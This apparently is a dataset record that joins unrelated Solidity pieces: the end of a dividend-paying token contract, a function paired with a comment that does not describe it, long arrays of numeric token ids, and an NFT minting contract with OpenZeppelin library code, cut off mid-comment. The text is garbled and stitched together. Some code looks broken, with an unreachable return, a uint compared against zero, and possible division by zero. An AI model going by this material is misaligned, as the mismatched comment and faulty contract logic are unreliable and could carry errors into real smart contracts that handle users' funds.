AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function EtechShareholdOf(address _customerAddress) view public returns(uint256) { if(techSharehold_[_customerAddress] == 0){ return 0; } else { return techSharehold_[_customerAddress]; } } /** * Retrieve the exist holdings dividend balance of any single address. */ function existholdingsdividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(existholdingsfeeTotalHolds_ == 0){ return 0; } else { _dividendPershare = (existholdingsfeeBalanceLedger_ / existholdingsfeeTotalHolds_); return (uint256) ((_dividendPershare * existholdingsSharehold_[_customerAddress]) - (existholdingsTotalWithdrawn_[_customerAddress] + existholdingsPreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function existholdingsShareholdOf(address _customerAddress) view public returns(uint256) { if(existholdingsSharehold_[_customerAddress] == 0){ return 0; } else { return existholdingsSharehold_[_customerAddress]; } } /** * Retrieve the exist crypto dividend balance of any single address. */ function existcryptodividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(existcryptofeeTotalHolds_ == 0){ return 0; } else { _dividendPershare = (existcryptofeeBalanceLedger_ / existcryptofeeTotalHolds_); return (uint256) ((_dividendPershare * existcryptoSharehold_[_customerAddress]) - (existcryptoTotalWithdrawn_[_customerAddress] + existcryptoPreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function existcryptoShareholdOf(address _customerAddress) view public returns(uint256) { if(existcryptoSharehold_[_customerAddress] == 0){ return 0; } else { return existcryptoSharehold_[_customerAddress]; } } /** * Retrieve the Worldwide Home Owners Association dividend balance of any single address. */ function EwhoadividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(whoafeeTotalHolds_ == 0){ return 0; } else { _dividendPershare = (whoafeeBalanceLedger_ / whoafeeTotalHolds_); return (uint256) ((_dividendPershare * whoaSharehold_[_customerAddress]) - (whoaTotalWithdrawn_[_customerAddress] + whoaPreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the WHOA dividend balance of any single address. */ function EwhoaShareholdOf(address _customerAddress) view public returns(uint256) { if(whoaSharehold_[_customerAddress] == 0){ return 0; } else { return whoaSharehold_[_customerAddress]; } } /** * Retrieve the Credible You dividend balance of any single address. */ function EcredibleyoudividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(credibleyoufeeTotalHolds_ == 0){ return 0; } else { _dividendPershare = (credibleyoufeeBalanceLedger_ / credibleyoufeeTotalHolds_); return (uint256) ((_dividendPershare * credibleyouSharehold_[_customerAddress]) - (credibleyouTotalWithdrawn_[_customerAddress] + credibleyouPreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function EcredibleyouShareholdOf(address _customerAddress) view public returns(uint256) { if(credibleyouSharehold_[_customerAddress] == 0){ return 0; } else { return credibleyouSharehold_[_customerAddress]; } } /** * Retrieve the CEVA Burner Stockpile dividend balance using a CEVA whitelisted address. */ function EcevaBurnerStockpileDividends() onlyCEVA(msg.sender) view public returns(uint256) { uint256 _dividendPershare; address _customerAddress = msg.sender; if(ceva_[_customerAddress] != true){ return 0; } else { _dividendPershare = cevaBurnerStockpile_; return _dividendPershare; } } function totalSupply() public view returns(uint256) { if(tokenSupply_ == 0){ return 0; } else { return tokenSupply_;} } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ /** * Update token balance ledger of an address tokens from the caller to a new holder. */ function updateHoldsandSupply(uint256 _amountOfTokens) internal returns(bool) { tokenSupply_ = tokenSupply_ + _amountOfTokens; taxesfeeTotalHolds_ = (_amountOfTokens / 1e18) + taxesfeeTotalHolds_; insurancefeeTotalHolds_ = (_amountOfTokens / 1e18) + insurancefeeTotalHolds_; maintencancefeeTotalHolds_ = (_amountOfTokens / 1e18) + maintencancefeeTotalHolds_; waECOfeeTotalHolds_ = (_amountOfTokens / 1e18) + waECOfeeTotalHolds_; holdonefeeTotalHolds_ = (_amountOfTokens / 1e18) + holdonefeeTotalHolds_; holdtwofeeTotalHolds_ = (_amountOfTokens / 1e18) + holdtwofeeTotalHolds_; holdthreefeeTotalHolds_ = (_amountOfTokens / 1e18) + holdthreefeeTotalHolds_; RewardsfeeTotalHolds_ = (_amountOfTokens / 1e18) + RewardsfeeTotalHolds_; techfeeTotalHolds_ = (_amountOfTokens / 1e18) + techfeeTotalHolds_; existholdingsfeeTotalHolds_ = (_amountOfTokens / 1e18) + existholdingsfeeTotalHolds_; existcryptofeeTotalHolds_ = (_amountOfTokens / 1e18) + existcryptofeeTotalHolds_; whoafeeTotalHolds_ = (_amountOfTokens / 1e18) + whoafeeTotalHolds_; credibleyoufeeTotalHolds_= (_amountOfTokens / 1e18) + credibleyoufeeTotalHolds_; feeTotalHolds_ = ((_amountOfTokens / 1e18)* 13) + feeTotalHolds_; return true; } /** * Update token balance ledger of an address tokens from the caller to a new holder. * Remember, there's a fee here as well. */ function burnA(uint256 _amount) internal returns(bool) { uint256 _pValue = _amount / 100; if(_amount > 0){ RewardsfeeTotalHolds_ -= _pValue; techfeeTotalHolds_ -= _pValue; existholdingsfeeTotalHolds_ -= _pValue; existcryptofeeTotalHolds_ -= _pValue; whoafeeTotalHolds_-= _pValue; credibleyoufeeTotalHolds_ -= _pValue; feeTotalHolds_ -= _pValue; return true; } else { return false; } } /** * calculate 2% total transfer fee based on _amountOfTokens */ function calulateAmountQualified(uint256 _TokenMintingDepositsOf, uint256 _AmountCirculated) internal pure returns(uint256 _AmountQualified) { _AmountQualified = _TokenMintingDepositsOf / _AmountCirculated; if(_AmountQualified <= 1){ _AmountQualified = 1; return _AmountQualified; } else { return _AmountQualified; } } function updateEquityRents(uint256 _amountOfTokens) internal returns(bool) { if(_amountOfTokens < 0){ _amountOfTokens = 0; return false; } else { taxesfeeBalanceLedger_ = taxesfeeBalanceLedger_ + (_amountOfTokens / 800); insurancefeeBalanceLedger_ = insurancefeeBalanceLedger_ + (_amountOfTokens / 800); maintenancefeeBalanceLedger_ = maintenancefeeBalanceLedger_ + (_amountOfTokens / 800); waECOfeeBalanceLedger_ = waECOfeeBalanceLedger_ + (_amountOfTokens / 800); holdonefeeBalanceLedger_ = holdonefeeBalanceLedger_ + (_amountOfTokens / 800); holdtwofeeBalanceLedger_ = holdtwofeeBalanceLedger_ + (_amountOfTokens / 800); holdthreefeeBalanceLedger_ = holdthreefeeBalanceLedger_ + (_amountOfTokens / 800); RewardsfeeBalanceLedger_ = RewardsfeeBalanceLedger_ + (_amountOfTokens / 800); techfeeBalanceLedger_ = techfeeBalanceLedger_ + ((_amountOfTokens / 25000) * 100); existholdingsfeeBalanceLedger_ = existholdingsfeeBalanceLedger_ + (_amountOfTokens / 445); existcryptofeeBalanceLedger_ = existcryptofeeBalanceLedger_ + (_amountOfTokens / 800); whoafeeBalanceLedger_ = whoafeeBalanceLedger_ + (_amountOfTokens / 800); credibleyoufeeBalanceLedger_ = credibleyoufeeBalanceLedger_ + (_amountOfTokens / 800); return true; } } /** * Update taxes fee sharehold of an address.. */ function creditTaxesFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { taxesFeeSharehold_[_toAddress] += _amountOfTokens; } /** * Update insurance fee sharehold of an address.. */ function creditInsuranceFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { insuranceFeeSharehold_[_toAddress] += _amountOfTokens; } /** * Update maintenance fee sharehold of an address.. */ function creditMaintenanceFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { maintenanceFeeSharehold_[_toAddress] += _amountOfTokens; } /** * Update Wealth Architect fee sharehold of an address.. */ function creditwaECOFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { waECOFeeSharehold_[_toAddress] += _amountOfTokens; } /** * Update hold one fee sharehold of an address.. */ function creditHoldOneFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { holdoneSharehold_[_toAddress] += _amountOfTokens; } /** * Update hold two fee sharehold of an address.. */ function creditHoldTwoFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { holdtwoSharehold_[_toAddress] += _amountOfTokens; } /** * Update hold three fee sharehold of an address.. */ function creditHoldThreeFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { holdthreeSharehold_[_toAddress] += _amountOfTokens; } /** * Update Rewards fee sharehold of an address.. */ function creditRewardsFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { rewardsSharehold_[_toAddress] += _amountOfTokens; } /** * Update Tech fee sharehold of an address.. */ function creditTechFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { techSharehold_[_toAddress] += _amountOfTokens; } /** * Update Exist Holdings fee sharehold of an address.. */ function creditExistHoldingsFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { existholdingsSharehold_[_toAddress] += _amountOfTokens; } /** * Update Exist Crypto fee sharehold of an address.. */ function creditExistCryptoFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { existcryptoSharehold_[_toAddress] += _amountOfTokens; } /** * Update WHOA fee sharehold of an address.. */ function creditWHOAFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { whoaSharehold_[_toAddress] += _amountOfTokens; } /** * Update Credible You fee sharehold of an address.. */ function creditCredibleYouFeeSharehold(uint256 _amountOfTokens, address _toAddress) internal { credibleyouSharehold_[_toAddress] += _amountOfTokens; } /** * Update Exist Holdings fee sharehold of an address.. */ function creditFeeSharehold(uint256 _amountOfTokens, address _owner, address _toAddress, address _toAddresstwo, address _toAddressthree) internal returns(bool) { creditTaxesFeeSharehold((_amountOfTokens / 1e18), _owner); creditInsuranceFeeSharehold((_amountOfTokens / 1e18), _owner); creditMaintenanceFeeSharehold((_amountOfTokens / 1e18), whoamaintenanceaddress_); creditwaECOFeeSharehold((_amountOfTokens / 1e18), _owner); creditHoldOneFeeSharehold((_amountOfTokens / 1e18), _toAddress); creditHoldTwoFeeSharehold((_amountOfTokens / 1e18), _toAddresstwo); creditHoldThreeFeeSharehold((_amountOfTokens / 1e18), _toAddressthree); creditRewardsFeeSharehold((_amountOfTokens / 1e18), whoarewardsaddress_); creditTechFeeSharehold((_amountOfTokens / 1e18), techaddress_); creditExistHoldingsFeeSharehold((_amountOfTokens / 1e18), existholdingsaddress_); creditExistCryptoFeeSharehold((_amountOfTokens / 1e18), existcryptoaddress_); creditWHOAFeeSharehold((_amountOfTokens / 1e18), whoaaddress_); creditCredibleYouFeeSharehold((_amountOfTokens / 1e18), credibleyouaddress_); return true; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
* Withdraws all of the callers taxes earnings./ setup data
function buyFounderDeveloperLicense(address _FounderDeveloperOne, address _FounderDeveloperTwo, address _CEVA) onlyMembers(msg.sender) public returns(bool _success) { require(founderdevelopers_[_FounderDeveloperOne] == true && ceva_[_CEVA] == true && founderdevelopers_[_FounderDeveloperTwo] == true); address _customerAddress = msg.sender; uint256 _licenseprice = (1000 * 1e18); if(tokenBalanceLedger_[_customerAddress] > _licenseprice){ tokenBalanceLedger_[_CEVA] = (_licenseprice / 5) + tokenBalanceLedger_[_CEVA]; tokenBalanceLedger_[_FounderDeveloperOne] = (_licenseprice / 5) + tokenBalanceLedger_[_FounderDeveloperOne]; tokenBalanceLedger_[_FounderDeveloperTwo] = (_licenseprice / 10) + tokenBalanceLedger_[_FounderDeveloperTwo]; tokenBalanceLedger_[_customerAddress] = tokenBalanceLedger_[_customerAddress] - _licenseprice; founderdevelopers_[_customerAddress] = true; return true; return false; } }
6,506,216
[ 1, 1190, 9446, 87, 777, 434, 326, 19932, 5320, 281, 425, 1303, 899, 18, 19, 3875, 501, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 30143, 42, 465, 765, 28145, 13211, 12, 2867, 389, 42, 465, 765, 28145, 3335, 16, 1758, 389, 42, 465, 765, 28145, 11710, 16, 1758, 389, 1441, 27722, 13, 203, 3639, 1338, 6918, 12, 3576, 18, 15330, 13, 203, 3639, 1071, 203, 3639, 1135, 12, 6430, 389, 4768, 13, 203, 565, 288, 203, 3639, 2583, 12, 74, 465, 765, 323, 8250, 414, 67, 63, 67, 42, 465, 765, 28145, 3335, 65, 422, 638, 597, 5898, 15304, 67, 63, 67, 1441, 27722, 65, 422, 638, 597, 284, 465, 765, 323, 8250, 414, 67, 63, 67, 42, 465, 765, 28145, 11710, 65, 422, 638, 1769, 203, 5411, 1758, 389, 10061, 1887, 273, 1234, 18, 15330, 31, 203, 5411, 2254, 5034, 389, 12687, 8694, 273, 261, 18088, 380, 404, 73, 2643, 1769, 203, 5411, 309, 12, 2316, 13937, 28731, 67, 63, 67, 10061, 1887, 65, 405, 389, 12687, 8694, 15329, 203, 7734, 1147, 13937, 28731, 67, 63, 67, 1441, 27722, 65, 273, 261, 67, 12687, 8694, 342, 1381, 13, 397, 1147, 13937, 28731, 67, 63, 67, 1441, 27722, 15533, 203, 7734, 1147, 13937, 28731, 67, 63, 67, 42, 465, 765, 28145, 3335, 65, 273, 225, 261, 67, 12687, 8694, 342, 1381, 13, 397, 1147, 13937, 28731, 67, 63, 67, 42, 465, 765, 28145, 3335, 15533, 203, 7734, 1147, 13937, 28731, 67, 63, 67, 42, 465, 765, 28145, 11710, 65, 273, 225, 261, 67, 12687, 8694, 342, 1728, 13, 397, 1147, 13937, 28731, 67, 63, 67, 42, 465, 765, 28145, 11710, 15533, 203, 7734, 1147, 13937, 28731, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; contract Noodles is ERC721Enumerable, Ownable { using Strings for uint256; //NFT Parameters string private baseURI; string private baseExtension = ".json"; string private notRevealedUri; uint256 public cost; uint256 public maxMintAmount; bool public paused = true; bool public revealed = false; //sale states: //stage 0: init //stage 1: free mint //stage 2: pre-sale //stage 3: public sale uint8 public mintState; //stage 1: free mint mapping(address => uint8) public addressFreeMintsAvailable; //stage 2: presale mint mapping(address => uint8) public addressWLMintsAvailable; constructor() ERC721("Noodles", "NOODS") {} // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint8 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused, "contract is paused"); require(_mintAmount > 0, "You have to mint at least 1 NFT!"); //must mint at least 1 require(mintState <= 3, "Minting is finished!"); //only 3 states require(_mintAmount <= maxMintAmount, "Exceeded maximum NFT purchase"); require(cost * _mintAmount <= msg.value, "Insufficient funds!"); //not enough ETH if (mintState == 1){ //free mint of 1 with 833 spots require(supply + _mintAmount <= 836, "Total Free supply exceeded!"); require(addressFreeMintsAvailable[msg.sender] >= _mintAmount , "Max NFTs exceeded"); addressFreeMintsAvailable[msg.sender] -= _mintAmount; } else if (mintState == 2){ //WL mint of 1, 2, or 3 addresses whitelisted require(supply + _mintAmount <= 4436, "Total whitelist supply exceeded!"); require(addressWLMintsAvailable[msg.sender] >= _mintAmount , "Max NFTs exceeded"); addressWLMintsAvailable[msg.sender] -= _mintAmount; } else if (mintState ==3){ //public mint require(supply + _mintAmount <= 5555); } else { assert(false); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function reserve(uint256 n) public onlyOwner { uint supply = totalSupply(); for (uint256 i = 1; i <= n; i++) { _safeMint(msg.sender, supply + i); } } function tokenURI(uint256 tokenId)public view virtual override returns (string memory) { require(_exists(tokenId),"ERC721Metadata: URI query for nonexistent token"); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setState(uint8 _state)public onlyOwner{ mintState = _state; //free mint if (mintState==1){ cost=0 ether; maxMintAmount=1; } //whitelist if (mintState==2){ cost=0.01 ether; maxMintAmount=3; } //public if (mintState==3){ cost=0.01 ether; maxMintAmount = 10; } } function unpause() public onlyOwner{ paused = false; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function addFreeMintUsers(address[] calldata _users) public onlyOwner { for (uint i=0;i<_users.length;i++){ addressFreeMintsAvailable[_users[i]] = 1; } } function addWhitelistUsers(address[] calldata _users) public onlyOwner { for (uint i=0;i<_users.length;i++){ addressWLMintsAvailable[_users[i]] = 3; } } function withdraw() public payable onlyOwner { //20% payment split (bool hs, ) = payable(0xC35f3F92A9F27A157B309a9656CfEA30E5C9cCe3).call{value: address(this).balance * 20 / 100}(""); require(hs); (bool os, ) = payable(msg.sender).call{value: address(this).balance}(""); require(os); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to 